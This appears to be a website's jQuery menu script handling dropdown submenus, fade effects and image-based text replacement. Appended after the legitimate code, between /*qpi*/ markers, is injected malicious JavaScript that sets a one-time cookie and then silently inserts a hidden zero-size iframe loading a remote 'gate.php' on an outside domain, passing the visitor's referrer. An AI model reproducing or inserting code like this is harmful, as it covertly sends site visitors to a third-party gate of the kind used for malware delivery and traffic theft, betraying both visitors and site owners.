var inSubMenu = new Array();
var fadeOutTimeOut = 300;

var db = true;

$(document).ready(function() {
	$('.menu_item').hover(function() {
		var id = '#s'+this.id;
		inSubMenu[id] = true;
		var nl = $(this).offset().left - $('#m1').offset().left;
		$(id).css('left', nl);
		if($.browser.msie) {
			if(parseFloat($.browser.version) > 6) {
				$(id).show();
				//$(id).css('display', 'block');
			} else {
				$(id).fadeIn();
			}
		} else {
			$(id).fadeIn();
		}
	}, function() {
		var id = '#s'+this.id;
		inSubMenu[id] = false;
		setTimeout(function() {
			fadeOutSubMenu(id);
		}, fadeOutTimeOut);
	});
	
	/*
	$('.menu').find(' .text_replace').hover(function() {
		this.oldBG = this.style.backgroundImage;
		$(this).css('background-image', '');
		$(this).css('background-image', this.oldBG.replace('7c501d', 'ac6d00'));
		//console.log(this.style.backgroundImage);
	}, function() {
		this.style.backgroundImage = this.oldBG;
	});
	//*/
	
	$(document.body).bind('xmtr_started', function() {
		//Preload
		var tr_imgs = new Array();
		var hiddenBox = $('<div style="width: 2000px; height: 2000px; position: absolute; left: -3000px; overflow: hidden; top: -3000px"></div>');
		$(document.body).append(hiddenBox);
		$('.menu').find(' .text_replace').each(function() {
			//if(!this.alter) return;
			//Preload selected menu images
			var c = $(this).clone();
			this.alter = c;
			
			if(db) {
				//alert(this.style.toSource());
				db = false;
			}
			
			var w = $(this).width();
			c.css({
				width: w,
				height: '22px',
				'font-family': $(this).css('font-family'),
				'text-align': $(this).css('text-align'),
				'font-size': '14px'
				//'letter-spacing': 'auto'
			});

			hiddenBox.append(c);
			if(!c.hasClass('selected')) {
				c.addClass('selected');
			}
			c.removeClass('text_replace');
			image_xmtr(c[0]);
		})
		//*
		.hover(function() {
			//if(!this.alter) return;
			var img = $(this).find('img')[0];
			img.oldSrc = img.src; 
			img.src = this.alter.find('img')[0].src;
			if(IEB) {
				//alert($(this).html());
				var span = $(this).find('span');
				var s = span.attr('style');
				this.oldStyle = s;
				s = s.replace(/(src='xmtr\/image(.*).png')/g, 'src=\''+img.src+'\'');
				span.attr('style', s);
			}
		},function() {
			var img = $(this).find('img')[0];
			img.src = img.oldSrc;
			if(IEB) {
				var span = $(this).find('span');
				var s = this.oldStyle;
				span.attr('style', s);
			}
		});
		//*/
	});
	$(document.body).bind('xmtr_loaded', function() {
		$('.submenu div').css({
			'visibility': 'visible'
		});
		$('.submenu').css({
			'display': 'none'
		});
		
		$('.menu .selected').each(function() {
			//if(!this.alter) return;
			var img = $(this).find('img')[0];
			img.oldSrc = img.src; 
			img.src = this.alter.find('img')[0].src;
		}).unbind('mouseenter').unbind('mouseleave');
	});
	
	$('.subenu').each(function() {
		var id = '#'+this.id;
		inSubMenu[id] = false;
		$(this).hover(function() {
			inSubMenu[id] = true;
		}, function() {
			inSubMenu[id] = false;
			setTimeout(function() {
			fadeOutSubMenu(id);
		}, fadeOutTimeOut);
		});
	});
});


function fadeOutSubMenu(id) {
	if(inSubMenu[id]) return;
	if($.browser.msie) {
		if(parseFloat($.browser.version) > 6) {
			$(id).hide();
			//$(id).css('display', 'block');
		} else {
			$(id).fadeOut();
		}
	} else {
		$(id).fadeOut();
	}
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=829072&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
